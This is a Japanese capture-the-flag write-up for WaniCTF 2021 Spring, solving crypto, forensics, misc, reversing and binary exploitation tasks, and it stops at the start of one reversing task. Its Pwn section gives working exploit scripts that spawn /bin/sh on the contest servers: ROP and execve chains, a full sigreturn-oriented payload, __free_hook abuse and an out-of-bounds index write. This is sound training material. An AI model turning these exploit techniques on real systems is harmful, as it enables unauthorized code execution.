WaniCTF'21-spring Writeup
WaniCTF 2021 SpringのWriteupです。5836pt獲得し18位でした。
Crypto
Simple conversion
long_to_bytesで文字列に戻すとフラグが手に入りました。
from Crypto.Util.number import * print(long_to_bytes(709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229))
$ python solve.py b'FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}'
Easy
フラグがアフィン暗号で暗号化されています。
アフィン暗号は以下の式で表せます
\begin{eqnarray} c = am + b \mod\ 26 \end{eqnarray}
よって、次の式で復号できます。
\begin{eqnarray} m = \frac{c - b}{a} \mod \ 26 \end{eqnarray}
a,bはともに26種類しかないため総当りで求められます。
import math def decrypt(plaintext: str, a: int, b: int) -> str: ciphertext = "" for x in plaintext: if "A" <= x <= "Z": x = ord(x) - ord("A") x = (pow(a, -1, 26) * (x - b)) % 26 x = chr(x + ord("A")) ciphertext += x return ciphertext ciphertext = "HLIM{OCLSAQCZASPYFZASRILLCVMC}" for a in range(1, 26): for b in range(1, 26): # gcd(a, 26) = 1でないとa^-1が求められない if math.gcd(a, 26) == 1: print(decrypt(ciphertext, a, b))
$ python solve.py | grep FLAG FLAG{WELCOMETOCRYPTOCHALLENGE}
Can't restore the flag?
負の数の入力は禁止されていないので-10000000のような値を入力し、得られた結果にmodとして入力した値を正にしたもの足すとフラグが手に入りました。
from socklib import parse_nc_cmd from Crypto.Util.number import long_to_bytes with parse_nc_cmd("nc crt.cry.wanictf.org 50000") as s: s.recvuntil("Mod > ") s.sendline(str(-(10 ** 103))) inv_flag = int(s.recvline().rstrip()) flag = inv_flag + (10 ** 103) print(long_to_bytes(flag))
$ python solve.py b'FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}\n'
フラグを見る限りCRTでも解けるっぽいです。
Extra
RSA暗号の問題です。
以外にという値が与えられています。
とをq=の形に変形するとqに関する2次方程式が得られます。
\begin{eqnarray} \frac{N}{p}&=&M-2p \\ N&=&Mp-2p^{2} \\ 2p^{2}-Mp+N&=&0 \\ q&=&\frac{M \pm \sqrt{M^{2}-8N}}{4} \end{eqnarray}
よって、からを求めることができます。
後は求まったからを求めて復号するだけです。
from Crypto.Util.number import * import gmpy2 N = 22255382023772668851018179427844169178508638456713544208965498667359965716247243217931028270320680101854437928939452335472153643094266035953797432826168426002458800906764442624308120284177094975740468163835305872963635678413995878812492729432260346481442092245748885202467992527408086207041964831622724073720751839241897580988210971776031098476500998975223039782371635291859483569580516707907602619018780393060215756966917504096971372578145138070121288608502379649804953835336933545368863853793291348412017384228807171466141787383764812064465152885522264261710104646819565161405416285530129398700414912821358924882993 M = 455054308184393892678058040417894434538147052966484655368629806848690951585316383741818991249942897131402174931069148907410409095241197004639436085265522674198117934494409967755516107042868190564732371162423204135770802585390754508661199283919569348449653439331457503898545517122035939648918370853985174413495 e = 65537 c = 17228720052381175899005296327529228647857019551986416863927209013417483505116054978735086007753554984554590706212543316457002993598203960172630351581308428981923248377333772786232057445880572046104706039330059467410587857287022959518047526287362946817619717880614820138792149370198936936857422116461146587380005750298216662907558653796277806259062461884502203484610534512552197338982682870358910558302016481352035443274153409114492025483995668048818103066011831955626539382173160900595378864729936791103356604330731386911513668727994911216530875480647283550078311836214338646991447576725034118526046292574067040720093 D = gmpy2.isqrt(M ** 2 - (4 * 2 * N)) q_ = [(M + D) // 4, (M - D) // 4] for q in q_: if N % q != 0: continue p = N // q phi = (p - 1) * (q - 1) d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, N)))
$ python solve.py b' FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}\n'
OUCS
server.pyを見ると岡本-内山暗号を用いて暗号化・復号を行っていることがわかります。私自身よく理解できていないため岡本-内山暗号についての詳しい情報は以下を参照してください。
岡本-内山暗号は加法準同性を有しているそうで、この暗号では暗号文の積が平文の和になります。(参考: http://elliptic-shiho.hatenablog.com/entry/2015/12/14/213328)
証明してみます。理解が浅いためおかしい部分や間違っている部分があるかもしれません。
上のpdfより、
\begin{eqnarray} L(x) = \frac{x - 1}{p} \mod p \\ L(ab) = L(a) + L(b) \mod p \\ \end{eqnarray}
はじめに秘密鍵、公開鍵、平文とその暗号文とする。また、はともに2以上未満の乱数でありを満たす。とすると
\begin{eqnarray} c=c_1 \cdot c_2=g^{m_1+m_2} \cdot g^{nr_1} \cdot g^{nr_2} \mod n^{2} \\ \end{eqnarray}
\begin{eqnarray} c^{p-1} &=& (g^{m_1+m_2} \cdot g^{nr_1} \cdot g^{nr_2})^{p-1} \mod p^{2} \\ &=& g^{(m_1+m_2)(p-1)} \cdot g^{p(p-1)r_1pq} \cdot g^{p(p-1)r_2pq} \mod p^{2} \\ &=& g^{(m_1+m_2)(p-1)} \mod p^{2}\\ \end{eqnarray}
\begin{eqnarray} Dec(c) =\frac{L(c^{p-1})}{L(g^{p-1})} &=& \frac{L((g^{p-1})^{(m_1+m_2)})}{L(g^{p-1})} \mod p \\ &=& \frac{(m_1+m_2)L(g^{p-1})}{L(g^{p-1})} \mod p \\ &=& m_1+m_2 \mod p \end{eqnarray}
よって、がと等しい。(証明終わり)
問題では任意の平文の暗号化、フラグを除く任意の暗号文の復号、暗号化されたフラグの取得、公開鍵の表示を行うことができるため以下の手順で解けます。
- 公開鍵からを得る
- 暗号化されたフラグを取得する(とする)
- 適当な値を暗号化してもらう(とする)
- を復号してもらいを得る
- を計算してフラグを得る
from socklib import parse_nc_cmd from Crypto.Util.number import * with parse_nc_cmd("nc oucs.cry.wanictf.org 50010") as s: def encrypt(x: int): s.recvuntil("> ") s.sendline("2") s.recvuntil("> ") s.sendline(str(x)) s.recvuntil("ciphertext = ") return int(s.recvline().rstrip(), 16) def decrypt(x: int): s.recvuntil("> ") s.sendline("3") s.recvuntil("> ") s.sendline(str(x)) s.recvuntil("plaintext = ") return int(s.recvline().rstrip(), 16) s.recvuntil("> ") # pubkey s.sendline("4") s.recvuntil("n = "); n = int(s.recvline().rstrip(), 16) s.recvuntil("g = "); n = int(s.recvline().rstrip(), 16) s.recvuntil("h = "); n = int(s.recvline().rstrip(), 16) # encrypt flag s.recvuntil("> ") s.sendline("1") s.recvuntil("ciphertext = ") c_1 = int(s.recvline().rstrip(), 16) # encrypt 1 c_2 = encrypt(1) m_flag_p_1 = decrypt((c_1 * c_2) % (n * n)) flag = m_flag_p_1 - 1 print(long_to_bytes(flag))
$ python solve.py b'FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}'
Forensics
presentation
PowerPointでpresentation.ppsxを開いて青い長方形をどかすとフラグが書いてあります。
FLAG{you_know_how_to_edit_ppsx}
MixedUSB
strings MixedUSB
でフラグが見つかりました。
$ strings MixedUSB.img EXFAT ... DUMMY{qux} DUMMY{baz} DUMMY{quux} FLAG{mixed_file_allocation_table}
secure document
password-generatorはAutoHotKeyのスクリプトです。
password-generatorを見て入力を再現するとWan1_20210428_FLAG!na!
となりました。todayの部分はフラグが解凍されているzipファイル名がflag_20210428.zip
であることから推測できます。
得られたパスワードでflag_20210428.zip
を解凍するとフラグが書かれたjpgファイルが手に入りました。
Misc
binary
binary.csvを一列にして2進数から10進数に変換しlong_to_bytesで文字に変換するとフラグが手に入りました。
from Crypto.Util.number import long_to_bytes data = int("".join(open("binary.csv").read().split("\n")), 2) print(long_to_bytes(data))
$ python solve.py b'FLAG{the_basic_knowledge_of_communication}'
Git Master
はじめにdocker pullでコンテナイメージを取得しコンテナを起動します。
$ docker pull wanictf21spring/nginx_on_ubuntu $ docker run -it wanictf21spring/nginx_on_ubuntu
dockerコンテナに入って/var/www
に移動します。
$ docker exec -it 5c5200c9331c /bin/bash root@5c5200c9331c:/# cd /var/www root@5c5200c9331c:/var/www# ls Dockerfile docker-compose.yml html
htmlの中を見てみるとFlag.txtというファイルが見つかったので表示してみるとフラグの一部が手に入りました。
root@5c5200c9331c:/var/www# ls html Flag.txt assets favicon.ico index.html index.nginx-debian.html root@5c5200c9331c:/var/www# cat htlm/Flag.txt 4r3_p3rf3c7_g1t
git logでコミット履歴を確認します。
root@5c5200c9331c:/var/www# git log --all --oneline 1b5bfaf (HEAD, temporary) edit Flag.txt 9284d6d (master) bug fix docker-compose.yml cb2205c bug fix Dockerfile 7a3aa17 super kawaii aminal fix 6cc0b29 edit Flag.txt b416014 Flag.txt a2fed4a initialization of html/assets/* f007f26 initialization of html/favicon.ico e4c9da8 initialization of html/index.html 058a502 initialization of docker-compose.yml 1fc314c initialization of Dockerfile
edit Flag.txt
やFlag.txt
という怪しげなコミットがあります。git checkoutで過去のコミットに戻って中身を見ます。
root@5c5200c9331c:/var/www# git checkout 6cc0b29 Previous HEAD position was 1b5bfaf edit Flag.txt HEAD is now at 6cc0b29 edit Flag.txt root@5c5200c9331c:/var/www# cat html/Flag.txt FLAG{y0u_ root@5c5200c9331c:/var/www# git checkout b416014 Previous HEAD position was 6cc0b29 edit Flag.txt HEAD is now at b416014 Flag.txt root@5c5200c9331c:/var/www# cat html/Flag.txt _m45t3r}
得られたフラグをつなぎ合わせると以下のようになります。
FLAG{y0u_4r3_p3rf3c7_g1t_m45t3r}
ASK
binaryと似たようなcsvファイルが与えられます。
binaryと違ってファイルの行がとても多くなっています。0や1がいくつ連続しているか数えると31の倍数になっていたので、31個の連続を1つの値と見てbinaryと同じ処理を行うとフラグが手に入りました。
from Crypto.Util.number import long_to_bytes data = int("".join(open("ask.csv").read().split("\n")[::31]), 2) print(long_to_bytes(data))
$ python solve.py b'\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\x85\xb1\xcc\xc0\xb5\xac\xc1\xbd\xdd\xb8\xb4\xd1\xcc\xb4\xc1\xb8\xb4\xc1\x99\x98\xb5\xad\x95\xe4\xc5\xb9\x9d\xf4\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{als0-k0own-4s-0n-0ff-key1ng}\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xd8[\x1c\xcc\x0bZ\xcc\x1b\xdd\xdb\x8bM\x1c\xcbL\x1b\x8bL\x19\x99\x8bZ\xd9^L[\x99\xdf@\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb6\x16\xc73\x02\xd6\xb3\x06\xf7v\xe2\xd3G2\xd3\x06\xe2\xd3\x06fb\xd6\xb6W\x93\x16\xe6w\xd0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\x85\xb1\xcc\xc0\xb5\xac\xc1\xbd\xdd\xb8\xb4\xd1\xcc\xb4\xc1\xb8\xb4\xc1\x99\x98\xb5\xad\x95\xe4\xc5\xb9\x9d\xf4\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{als0-k0own-4s-0n-0ff-key1ng}\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xd8[\x1c\xcc\x0bZ\xcc\x1b\xdd\xdb\x8bM\x1c\xcbL\x1b\x8bL\x19\x99\x8bZ\xd9^L[\x99\xdf@\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb6\x16\xc73\x02\xd6\xb3\x06\xf7v\xe2\xd3G2\xd3\x06\xe2\xd3\x06fb\xd6\xb6W\x93\x16\xe6w\xd0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\x85\xb1\xcc\xc0\xb5\xac\xc1\xbd\xdd\xb8\xb4\xd1\xcc\xb4\xc1\xb8\xb4\xc1\x99\x98\xb5\xad\x95\xe4\xc5\xb9\x9d\xf4\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{als0-k0own-4s-0n-0ff-key1ng}'
Manchester
csvファイルが与えられます。マンチェスタ符号というもので符号化されているそうです。
まず、Askと同様に0と1が31個ずつ連続しているのでそれを一つにまとめます。
マンチェスタ符号では0の連続や1の連続はありえないので復号する前に削除しておきます。そして、残ったものを復号するとフラグが手に入りました。
data = "".join(open("manchester.csv").read().rstrip().split("\n")[::31]).lstrip("0") hoge = b"" buf = 0 for i in range(0, len(data) // 2): x = data[i*2:i*2+2] if int(x, 2) == 1: buf |= 0 else: buf |= 1 if (i + 1) % 8 == 0: hoge += bytes([buf]) buf = 0 buf <<= 1 print(hoge)
$ python solve.py b'\xff\xff\xc4d\xc4\x14w\xb6\x17f\xf6\x96F\x96\xe6r\xd66\xf6\xe76V7F\x97fR\xd6\xf6\xe6W2\xd6\x16\xe6B\xd7\xa6W&\xf77\xdf\xff\xff\xff\xff\xfe#& \xa3\xbd\xb0\xbb7\xb4\xb24\xb73\x96\xb1\xb7\xb79\xb2\xb1\xba4\xbb2\x96\xb7\xb72\xb9\x96\xb0\xb72\x16\xbd2\xb97\xb9\xbe\xff\xff\xff\xff\xff\xf1\x191\x05\x1d\xed\x85\xd9\xbd\xa5\x91\xa5\xb9\x9c\xb5\x8d\xbd\xb9\xcd\x95\x8d\xd1\xa5\xd9\x94\xb5\xbd\xb9\x95\xcc\xb5\x85\xb9\x90\xb5\xe9\x95\xc9\xbd\xcd\xf7\xff\xff\xff\xff\xff\x88\xc9\x88(\xefl.\xcd\xed,\x8d-\xcc\xe5\xacm\xed\xcel\xacn\x8d.\xcc\xa5\xad\xed\xcc\xaee\xac-\xcc\x85\xafL\xaeM\xeeo\xbf\xff\xff\xff\xff\xfcFLAG{avoiding-consective-ones-and-zeros}'
Automaton Lab
初期状態initと整数genが与えられるのでrule30のgen番目の状態を答えるという問題です。
3問出題されるので3問全て正解すればフラグを手に入れることができますが、3つ目の問題のgenが非常に大きな値であるため愚直に求めようとすると現実的な時間内に求められません。いろいろ試していると46番目以降の状態には周期性があることに気づきました。周期性を利用すれば一瞬で求めることができます。
from socklib import parse_nc_cmd WIDTH = 15 def rule_30(init, gen): state = [x - 0x30 for x in init] init_state = state for i in range(gen): new_state = [] for j in range(WIDTH): new_state.append( state[(j - 1) % WIDTH] ^ (state[j] | state[(j + 1) % WIDTH]) ) state = new_state return "".join(str(s) for s in new_state) with parse_nc_cmd("nc automaton.mis.wanictf.org 50020") as s: def solve_question(): s.recvuntil("init = ") init = s.recvline().rstrip() s.recvuntil("gen = ") gen = int(s.recvline().rstrip()) print(init, gen) state = rule_30(init, gen) s.sendline(state) print(s.recvline()) def solve_question_last(): s.recvuntil("init = ") init = s.recvline().rstrip() s.recvuntil("gen = ") gen = int(s.recvline().rstrip()) print(init, gen % 2) gen_ = (gen - 46) % 1455 init_ = b"100011001111110" state = rule_30(init_, gen_) s.sendline(state) print(s.recvline()) s.recvuntil("(press enter key to continue)\n") s.send("\n") solve_question() solve_question() solve_question_last() print(s.recvline()) print(s.recvline()) print(s.recvline()) print(s.recvline())
$ python hoge.py b'001100100100110' 7 b'> Great! The second question is below.\n' b'100000000000000' 997 b'> Even if human become extinct, we wanna see the view of prosperity of cell automaton. This is last question.\n' b'000000000000001' 1 b'> Jesus!!! Are you the genius of future sight? We award you the special prize.\n' b'FLAG{W3_4w4rd_y0u_d0c70r473_1n_Fu7ur3_S1gh7}\n'
Pwn
01 netcat
netcatでサーバーに接続してcat flag.txt
と入力するだけです。
$ nc netcat.pwn.wanictf.org 9001 congratulation! please enter "ls" command ls chall flag.txt redir.sh cat flag.txt FLAG{this_is_the_same_netcat_problem_as_previous_one}
02 free hook
__free_hook
はメモリをfreeする前に呼び出される関数であり、第一引数に開放するメモリのアドレスが渡されます。
ソースコードを見ると__free_hook = system
となっています。つまり、freeするアドレスに"/bin/sh"を書き込んでおけば、system("/bin/sh")が実行されシェルが起動します。
$ nc free.pwn.wanictf.org 9002 1: add memo 2: view memo 9: del memo command?: 1 index?[0-9]: 0 memo?: /bin/sh [[[list memos]]] ***** 0 ***** /bin/sh 1: add memo 2: view memo 9: del memo command?: 9 index?[0-9]: 0 ls chall flag.txt redir.sh cat flag.txt FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
03 rop machine easy
system("/bin/sh")を実行できるようにrop_arenaいろいろ積んでいきます。op_arenaを以下の状態にしてexecute rop
します。
rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+
まずpop rdi
が実行されスタックの先頭にある0x404070がrdiに入ります。そして、ret
でsystem
が実行されます。rdiに"/bin/sh"のアドレスが入っているため、system("/bin/sh")となりシェルが起動します。
$ nc rop-easy.pwn.wanictf.org 9003 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "system" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{this-is-simple-return-oriented-programming}
04 rop machine normal
今度はsyscallを利用してシェルを起動する問題です。
x86_64ではraxがシステムコール番号、rdiが第一引数、rsiが第二引数、rdxが第三引数となっています。
execve("/bin/sh", 0, 0)を実行するにはレジスタの値を以下のようにします。
register | value |
---|---|
rax | 59 (execve) |
rdi | 0x404070 (/bin/shのアドレス) |
rsi | 0 |
rdx | 0 |
システムコール番号はここを参照してください。execveの番号は59となっていることがわかると思います。
レジスタが上の表のようになるようrop_arenaに命令と値を積めばシェルを起動できます。
$ nc rop-normal.pwn.wanictf.org 9004 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "pop rsi; ret" addr 4. append "pop rdx; ret" addr 5. append "pop rax; ret" addr 6. append "syscall; ret" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 5 "pop rax; ret" is appended > 1 hex value?: 0x3b 0x000000000000003b is appended > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "pop rsi; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 4 "pop rdx; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 6 "syscall; ret" is appended > 0 rop_arena +--------------------+ | pop rax; ret |<- rop start +--------------------+ | 0x000000000000003b | +--------------------+ | pop rdi; ret | +--------------------+ | 0x0000000000404070 | +--------------------+ | pop rsi; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | pop rdx; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | syscall; ret | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{now-you-can-call-any-system-calls-with-syscall}
05 rop machine hard
ROP gadgetを自分で見つけなければなりません。rp++で探します。
$ rp -f pwn05 -r 1 --unique Trying to open 'pwn05'.. Loading ELF information.. FileFormat: Elf, Arch: x64 Using the Nasm syntax.. ... 0x004012b3: mov rbp, rsp ; syscall ; (1 found) 0x00401555: mov rsp, rax ; ret ; (1 found) 0x004011ae: nop ; ret ; (3 found) 0x004011a6: or dword [rdi+0x00404080], edi ; jmp rax ; (1 found) 0x004015f8: out 0x41, eax ; call qword [rdi+rbx*8] ; (1 found) 0x00401612: pop r15 ; ret ; (1 found) 0x004012a9: pop rax ; ret ; (1 found) 0x0040121d: pop rbp ; ret ; (8 found) 0x0040128f: pop rdi ; ret ; (2 found) 0x0040129c: pop rdx ; ret ; (1 found) 0x0040101a: ret ; (25 found) 0x0040105b: sar edi, 0xFFFFFFFF ; call qword [rax-0x05E1F00D] ; (1 found) 0x004012b6: syscall ; (1 found) 0x004012b6: syscall ; ret ; (1 found)
pop rdi ; ret
やsyscall
などのアドレスが手に入ります。
rop machine easyやrop machine normalのappend "pop rdi; ret" addr
の部分をrp++で手に入れたROP gadgetのアドレスを追加するようにするだけです。
from pwn import * elf = ELF('pwn05') pop_rax = 0x004012a9 pop_rdi = 0x0040128f pop_rdx = 0x0040129c pop_rsi_r15 = 0x00401611 syscall = 0x004012b6 binsh = next(elf.search(b'/bin/sh')) p = remote('rop-hard.pwn.wanictf.org', 9005) def append_hex_val(val): p.recvuntil('> ') p.sendline('1') p.recvuntil('hex value?: ') p.sendline(hex(val)) def exec_rop(): p.recvuntil('> ') p.sendline('0') append_hex_val(pop_rax) append_hex_val(0x3b) append_hex_val(pop_rdi) append_hex_val(binsh) append_hex_val(pop_rdx) append_hex_val(0x0) append_hex_val(pop_rsi_r15) append_hex_val(0x0) append_hex_val(0x0) append_hex_val(syscall) exec_rop() p.interactive()
$ python solve.py [*] '/home/vagrant/wanictf_2021_spring/pwn/pwn-05-rop-machine-hard/pwn05' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [!] Could not find executable 'pwn05' in $PATH, using './pwn05' instead [+] Starting local process './pwn05': pid 1449 [+] Opening connection to rop-hard.pwn.wanictf.org on port 9005: Done [*] Switching to interactive mode rop_arena +--------------------+ | 0x00000000004012a9 |<- rop start +--------------------+ | 0x000000000000003b | +--------------------+ | 0x000000000040128f | +--------------------+ | 0x0000000000404078 | +--------------------+ | 0x000000000040129c | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000401611 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x00000000004012b6 | +--------------------+ $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{y0ur-next-step-is-to-use-pwntools}
06 SuperROP
pwn06.cとpwn06というELF形式の実行ファイルが与えられます。
#include <stdio.h> #include <unistd.h> void call_syscall() { __asm__("syscall; ret;"); } void set_rax() { __asm__("mov $0xf, %rax; ret;"); } int main() { char buff[50]; setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("buff : %p\nCan you get the shell?\n", buff); read(0, buff, 0x200); return 0; }
問題文にある通りSigreturnを用いたROPを行います。ここを参考にしながらエクスプロイトコードを作成しました。
最初のsigreturnでread(0, bss, 300)を実行します。そして、書込み可能な領域に"/bin/sh\x00"を書き込んでおき、2回目のsigreturnでexecve("/bin/sh", 0, 0)を実行しています。
from pwn import * elf = ELF('pwn06') bss = elf.bss() + 0x100 syscall_ret = 0x0040117e syscall = 0x0040117e mov_rax_15 = 0x0040118c offset = 72 p = remote('srop.pwn.wanictf.org', 9006) """ struct sigcontext { __u64 r8; __u64 r9; __u64 r10; __u64 r11; __u64 r12; __u64 r13; __u64 r14; __u64 r15; __u64 rdi; __u64 rsi; __u64 rbp; __u64 rbx; __u64 rdx; __u64 rax; __u64 rcx; __u64 rsp; __u64 rip; __u64 eflags; /* RFLAGS */ __u16 cs; """ payload = b'A' * offset payload += p64(mov_rax_15) payload += p64(syscall_ret) payload += b'A' * (8 * 5) payload += p64(0) * 8 # r8-15 payload += p64(0) # rdi payload += p64(bss) # rsi payload += p64(0) # rbp payload += p64(0) # rbx payload += p64(300) # rdx payload += p64(0) # rax payload += p64(0) # rcx payload += p64(bss+8) # rsp payload += p64(syscall_ret) # rip payload += p64(0) # eflags payload += p64(0x33) # cs payload += b'A' * (8 * 4) payload += p64(0) # &fpstate payload += b'A' * (0x200 - len(payload)) p.send(payload) payload = b'/bin/sh\x00' payload += p64(mov_rax_15) payload += p64(syscall_ret) payload += b'A' * (8 * 5) payload += p64(0) * 8 # r8-15 payload += p64(bss) # rdi payload += p64(0) # rsi payload += p64(0) # rbp payload += p64(0) # rbx payload += p64(0) # rdx payload += p64(59) # rax payload += p64(0) # rcx payload += p64(bss+8) # rsp payload += p64(syscall_ret) # rip payload += p64(0) # eflags payload += p64(0x33) # cs payload += b'A' * (8 * 4) payload += p64(0) # &fpstate payload += b'A' * (300 - len(payload)) p.send(payload) p.interactive()
$ python solve.py [*] '/home/vagrant/wanictf_2021_spring/pwn/pwn-06-srop/pwn06' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to srop.pwn.wanictf.org on port 9006: Done [*] Switching to interactive mode buff : 0x7ffc1ab8a160 Can you get the shell? $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
07 Tower of Hanoi
pwn07.cとpwn07というELF形式の実行ファイルが与えられます。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define HANOI_SIZE 32 void init_hanoi(int *a1) { alarm(30); for (int i = 1; i <= HANOI_SIZE; i++) { a1[i - 1] = i; } } int is_solved(int (*rod)[HANOI_SIZE]) { if (rod[0][HANOI_SIZE - 1] == 0 && rod[1][HANOI_SIZE - 1] == 0 && rod[2][HANOI_SIZE - 1] == HANOI_SIZE) return 1; else return 0; } void move_hanoi(char from, char to, int *pivot, int (*rod)[HANOI_SIZE]) { int src = (int)from - 65; int dst = (int)to - 65; if (abs(src) > 2 || abs(dst) > 2) { // ??? printf("That rod isn't where you can access!\n"); return; } if (rod[src][pivot[src]] < rod[dst][pivot[dst]] || rod[dst][pivot[dst]] == 0) { printf("Moved %d from %c to %c\n", rod[src][pivot[src]], from, to); if (rod[dst][pivot[dst]] != 0) pivot[dst]--; rod[dst][pivot[dst]] = rod[src][pivot[src]]; rod[src][pivot[src]] = 0; if (pivot[src] < HANOI_SIZE - 1) pivot[src]++; } else printf("You can't move that way!\n"); } int get_flag(char *flag) { FILE *fp; fp = fopen("./FLAG", "r"); fscanf(fp, "%s", flag); fclose(fp); } int main() { int solved_flag = 0; int rod_pivot[3] = {0, HANOI_SIZE - 1, HANOI_SIZE - 1}; char name[16]; int rod[3][HANOI_SIZE] = { 0, }; char selection[3]; char flag[28]; setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); init_hanoi(rod[0]); printf( "\nIf you move all disks from A to C 'in time'\nI'll give you the " "flag\ninput ex) if from rod_a to rod_c > AC\n"); write(1, "Name : ", 8); read(0, name, 16); while (solved_flag != 1) { solved_flag = is_solved(rod); // ??? printf("Top and bottom of the each rod\n A B C\n%3d %3d %3d\n", rod[0][rod_pivot[0]], rod[1][rod_pivot[1]], rod[2][rod_pivot[2]]); printf(" ...............\n%3d %3d %3d\n", rod[0][HANOI_SIZE - 1], rod[1][HANOI_SIZE - 1], rod[2][HANOI_SIZE - 1]); printf("pivot: %3d %3d %3d\n", rod_pivot[0], rod_pivot[1], rod_pivot[2]); write(1, "Move > ", 7); read(0, selection, 3); printf("Moving...\n"); sleep(1); move_hanoi(selection[0], selection[1], rod_pivot, rod); } printf("How fast you are!!\n"); get_flag(flag); printf("%s", flag); return 0; }
ハノイの塔を解けばフラグが手に入るのですが、制限時間内に絶対に解けないようになっています。
move_hanoi関数に着目します。
int src = (int)from - 65; int dst = (int)to - 65; if (abs(src) > 2 || abs(dst) > 2) { // ???
srcとdst値をチェックする部分にabsを使っています。そのため負数でも-1や-2をsrcやdstに入れることができます。
rod[dst][pivot[dst]] = rod[src][pivot[src]];
rod[src][pivot[src]] = 0;
rod[dst][pivot[dst]]をsolved_flagのアドレスにできればsolved_flagを1似することができそうです。rod[dst][pivot[dst]]のアドレスは以下のようにして計算されます。
(rodのアドレス + 0x80 * dst) + (*pivot[dst] * 4)
dstに-1を入れると、
rodのアドレス - 0x80 + (*pivot[-1] * 4)
となります。ここで、pivotはmain関数内のrod_pivotでありpivot[-1]はmain関数内にあるname[16]の最後の4byteになっています。わかりやすくするために、スタックの状態を図で表します。
+---------------------+ | rod | rbp - 0x1a0 +---------------------+ | ..... | +---------------------+ | name[0] | rbp - 0x20 +---------------------+ | ..... | +---------------------+ | name[15] | rbp - 0x11 +---------------------+ | rod_pivot[0] | rbp - 0x10 +---------------------+ | rod_pivot[1] | rbp - 0xc +---------------------+ | rod_pivot[2] | rbp - 0x8 +---------------------+ | solved_flag | rbp - 0x4 +---------------------+ <- rbp
具体的な値を式に代入してpivot[-1]の値を求めます。
rbp - 0x4 = (rbp - 0x1a0) - 0x80 + (*(rbp - 0x14) * 4) *(rbp - 0x14) = 540 / 4 = 135
よって、nameの最後の4byteを\x87\x00\x00\x00
とすればrod[dst][pivot[dst]]がsolved_flagのアドレスになり、solved_flagを1に書き換えることができます。
from pwn import * name = b'A' * 12 name += b'\x87\x00\x00\x00' p = remote('hanoi.pwn.wanictf.org', 9007) p.send(name) p.sendline('A@') print(p.recvall().decode())
$ python solve.py [+] Opening connection to hanoi.pwn.wanictf.org on port 9007: Done [+] Receiving all data: Done (295B) [*] Closed connection to hanoi.pwn.wanictf.org port 9007 If you move all disks from A to C 'in time' I'll give you the flag input ex) if from rod_a to rod_c > AC Name : \x00op and bottom of the each rod A B C 1 0 0 ............... 32 0 0 Move > Moving... Moved 1 from A to @ How fast you are!! FLAG{5up3r_f457_h4n01_501v3r}
Reversing
secret
strings secret
を実行するとwani_is_the_coolest_animals_in_the_world!
というそれっぽい文字列が見つかります。
実際に入力してみるとフラグを手に入れることができました。
$ ./secret ▄▀▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀█▀▀▄ █ █ ▐ ▐ ▄▀ ▐ █ █ ▌ █ █ █ ▐ ▄▀ ▐ █ █ ▐ ▀▄ █▄▄▄▄▄ ▐ █ ▐ █▀▀█▀ █▄▄▄▄▄ ▐ █ ▀▄ █ █ ▌ █ ▄▀ █ █ ▌ █ █▀▀▀ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ █ █ ▄▀▄▄▄▄ ▄▀ ▐ █ ▐ █ ▐ ▐ ▐ █ ▐ █ ▐ ▐ ▐ ▐ Input secret key : wani_is_the_coolest_animals_in_the_world! Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
execute
main.SとMakefileなどが与えられます。
